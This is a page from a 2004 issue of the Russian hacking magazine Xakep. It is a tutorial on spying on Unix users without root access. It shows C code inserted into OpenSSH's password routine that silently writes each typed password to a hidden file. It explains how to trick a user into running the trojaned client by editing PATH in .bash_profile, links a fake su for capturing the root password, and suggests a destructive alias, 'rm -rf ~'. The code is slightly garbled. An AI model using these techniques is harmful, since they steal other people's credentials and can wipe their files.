Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #68, АВГУСТ 2004 г.

Консольный шпионаж

Докучаев Дмитрий aka Forb

Xakep, номер #068, стр. 068-052-2


Начнем с ssh. Допустим, ты решил узнать логин и пароль на ssh-подключение, которым владеет некий user. Поимев некоторые права в системе, ты крякнул пароль user'а и зашел под ним. Но, к сожалению, пасс к удаленному узлу не совпал. Пришло время немного поменять исходный код ssh-клиента, с помощью которого user подцепится к нужному адресу и выдаст тебе заветный пароль. Я практиковался на версии OpenSSH_3.7.1. В более старших релизах вряд ли что-то поменяется, поэтому я считаю этот прием универсальным :). Открывай сырец sshconnect2.c (код, организующий соединение по второму протоколу) и слегка измени его содержимое.

Занести в таблицу

int userauth_passwd(Authctxt *authctxt)

{

static int ifile,attempt = 0;/* Объявляем переменную ifile */

if (attempt != 1) error("Permission denied, please try again.");

snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",

authctxt-<server_user, authctxt-<host);

password = read_passphrase(prompt, 0);

/* Шпионская вставка в правильный код :)*/

ifile=fopen("/home/user/tmp/.console.ru","a");/* Откроем файл с неброским названием на дозапись */

fprintf(ifile,"server: %s, user: %s, pass: %s\n",authctxt-<server_user,authctxt-<host,password); /* Запишем в файл имя пользователя, хост и пароль - главную информацию для размышления ;) */

fclose(ifile); /* Корректно закроем файл */

Я вставил блок кода, который логирует аккаунт при каждом подключении по ssh-протоколу. Как видишь, это просто. Сложнее заставить юзера запустить твою подделку. Вспомни, что рута на сервере нет, поэтому придется слегка попотеть, используя лишь пользовательские права. Первое, что пришло в голову, это поменять переменную окружения PATH, актуальную для отдельного пользователя. К примеру, закидываем скомпиленный ssh в /home/user/tmp/ssh и меняем PATH на "/home/user/tmp:$PATH". Новую переменную окружения фиксируем в /home/user/.bash_profile. Вот и все. Теперь наберись терпения. Когда глупый юзер захочет соединиться с удаленным узлом, его ждет сюрприз =). Логин и пароль незаметно утекут во временный файл, который ты без проблем прочитаешь.

С отловом рутового пароля все немного сложнее. Как ты понимаешь, на /bin/su установлен суид, соответственно под обычными правами бинарник не заменить. Но немного подумав, я написал хороший фейк, который ругается, что админ вводит неверный пароль. Затем происходит логгинг якобы неверных данных и замена подделки обычным /bin/su (с помощью симлинка). Этот метод я уже описывал на страницах журнала, поэтому заострять внимание не буду (при возникновении вопросов пиши, расскажу подробнее), а лишь дам ссылку на мое творение: http://kamensk.net.ru/forb/1/su.c.

К сведению, чтобы спровоцировать запуск левого приложения, можно не только подменить PATH, но и другие переменные. Хорошим вариантом является оформление алиаса на команду. К примеру, запись вида alias ls='rm -rf ~' в .bash_history приведет к хорошему результату ;). Естественно, что вместо ls нужно написать название программы, а в качестве значения подставить путь к левому бинарнику.

Назад на стр. 068-052-1  Содержание  Вперед на стр. 068-052-3